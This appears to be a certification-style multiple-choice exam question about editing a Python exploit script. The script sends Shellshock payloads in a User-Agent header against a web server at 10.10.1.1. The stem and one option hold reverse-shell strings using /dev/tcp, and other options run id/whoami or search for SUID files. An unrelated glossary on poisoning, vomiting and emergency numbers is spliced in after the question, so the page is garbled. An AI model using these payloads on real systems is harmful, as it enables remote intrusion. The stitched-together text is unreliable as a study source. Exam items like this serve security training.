A Penetration Tester Discovers a Vulnerable Web Server at 10

question 14

Multiple Choice

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"} Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

• A) exploits = {"User-Agent": "() { ignored;};/bin/bash -i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}
• B) exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}
• C) exploits = {"User-Agent": "() { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
• D) exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

---

Definitions:

Poisonous Chemical

A substance that is capable of causing illness or death if ingested, inhaled, or absorbed through the skin.

Induce Vomiting

A medical procedure that involves stimulating the stomach to expel its contents through the mouth, sometimes used in cases of poisoning or overdose.

Emergency Number

A phone number that is called in a critical situation to get immediate help from emergency services.

Coughing Vigorously

Forceful exhalation through the airways aimed at clearing them of irritants, mucus, or foreign particles.